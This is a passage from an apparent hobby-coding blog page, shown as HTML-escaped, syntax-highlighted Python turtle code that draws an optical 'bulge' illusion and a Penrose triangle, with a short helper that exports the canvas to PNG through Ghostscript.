        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;draw_square(x&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,y&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,c)&lt;/span&gt;
    &lt;span style=&quot;color: #66d9ef;&quot;&gt;elif&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;x&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;:&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;draw_square(x&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,y&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,c)&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;draw_square(x&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,y&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,c)&lt;/span&gt;
        
&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;draw_bulge&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;():&lt;/span&gt;
    &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;x&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;range(&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;7&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;):&lt;/span&gt;
        &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;y&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;range(&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;7&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;):&lt;/span&gt;
            &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;abs(x)&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;abs(y)&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;lt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;7&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;:&lt;/span&gt;
                &lt;span style=&quot;color: #f8f8f2;&quot;&gt;draw_diag(x,y)&lt;/span&gt;
                &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;x&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;or&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;y&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;draw_straight(x,y)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;x,y&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;3&lt;/span&gt;
    &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;i&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;range(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;):&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;draw_diag(x,y)&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;draw_diag(&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;x,&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;y)&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;draw_diag(x,&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;y)&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;draw_diag(&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;x,y)&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;x&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;+=&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;1&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;y&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-=&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;1&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;draw_board()&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;draw_bulge()&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;screen&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;update()&lt;/span&gt;


&lt;span style=&quot;color: #75715e;&quot;&gt;### This will create .eps file ####&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;tkinter&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;PIL&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;Image&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;os&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;time&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# keeping eps file name as image&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;eps_file&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;temp.eps&quot;&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# generating eps file&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;ts&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;getscreen()&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;hideturtle()&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;ts&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;getcanvas()&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;postscript(file&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;eps_file)&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# get current python file name as string without &quot;.py&quot;&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;fname&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;os&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;basename(__file__)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;filename&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;fname&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;replace(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;.py&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;.png&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# Converting eps file to jpg | with filename &lt;/span&gt;
&lt;span style=&quot;color: #75715e;&quot;&gt;#im.save(str(filename)+&quot;.jpg&quot;, &quot;JPEG&quot;)&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# Convert eps to transparent png using ghost script&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;os&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;popen(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;gswin64c -dSAFER -dBATCH -dNOPAUSE -r300 -sDEVICE=pngalpha -dTextAlphaBits=4 -dGraphicsAlphaBits=4 -sOutputFile=&quot;&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;filename&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot; -dEPSCrop temp.eps&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# Merge transparent png on top of given background png&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;time&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;sleep(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# Get transparent image file height / width&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;img&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;Image&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;open(filename)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;h,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;w&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;img&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;size&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef;&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(h,w)&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef;&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;Click on the Turtle Screen To Close&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2;&quot;&gt;ts&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;exitonclick()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;


&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEhGtvPjMek1sf7RkBU--Vcg9E6347XytQS4BjLmlQOprE2YGns5Ax7eY1lBoGPqvBXVLN5o0TcqTgTiegheg4874hBjGWsr7XmeC4hW9CdQal9gRcjwjvVWLdEdn7Zo_zd8mOT-gm2A9GRi9WD-b6OQhnq2QOAKOtYqYcJ6K7bbl6rooKKFhtYpWMPj=s2500&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;
  &lt;img alt=&quot;Optical illusion in Python&quot; border=&quot;0&quot; data-original-height=&quot;2500&quot; data-original-width=&quot;2500&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEhGtvPjMek1sf7RkBU--Vcg9E6347XytQS4BjLmlQOprE2YGns5Ax7eY1lBoGPqvBXVLN5o0TcqTgTiegheg4874hBjGWsr7XmeC4hW9CdQal9gRcjwjvVWLdEdn7Zo_zd8mOT-gm2A9GRi9WD-b6OQhnq2QOAKOtYqYcJ6K7bbl6rooKKFhtYpWMPj=s320&quot; title=&quot;Penrose Triangle - #python4fun&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;&lt;br /&gt;

&lt;b&gt;Code for Penrose Triangle - #python4fun&lt;/b&gt;
&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;speed(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;setup(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;1000&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;1000&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;title(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;Penrose Triangle - #python4fun&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;draw_penrose_triangle&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(x,y,size,tilt):&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;pencolor((&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.2&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.2&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0.2&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;))&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;up()&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;goto(x,y)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;seth(tilt)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;down()&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;fd(size&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;p1x&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;xcor()&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;p1y&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;ycor()&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;p1a&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;heading()&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;left(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;120&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;fd(size&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;p2x&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;xcor()&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;p2y&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;ycor()&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;p2a&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;heading()&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;left(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;120&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;fd(size&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;p3x&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;xcor()&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;p3y&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;ycor()&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;p3a&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;heading()&lt;/span&gt;
    &lt;span style=&quot;color: #75715e;&quot;&gt;# gray&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;up()&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;goto(p1x,p1y)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;seth(p1a)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;down()&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;fillcolor(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;dark gray&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;begin_fill()&lt;/span&gt;
